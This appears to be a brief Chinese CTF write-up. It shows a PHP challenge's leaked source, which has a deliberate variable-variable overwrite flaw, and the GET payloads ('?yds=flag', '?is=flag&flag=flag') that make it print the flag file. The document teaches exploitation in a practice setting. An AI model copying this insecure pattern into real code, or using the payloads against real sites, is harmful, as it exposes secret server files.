.git泄露
得到两个重要文件
flag.php
<?php
$flag = file_get_contents('/flag');
index.php
<?php
include 'flag.php';//包含了flag.php
$yds = "dog";
$is = "cat";
$handsome = 'yds';
#变量覆盖漏洞
foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag;
payload:
第二个if
1:$x=yds;$y=flag
2$$x=$yds;$$y=$flag
3$$x=$$y即$yds=$flag
?yds=flag
第三个if
#传入flag=flag
1:$x=flag;$y=flag
2:$$x=$flag;$$y=$flag
3:$$x=$$y即$flag=$flag#所以flag的值是不变的
?is=flag&flag=flag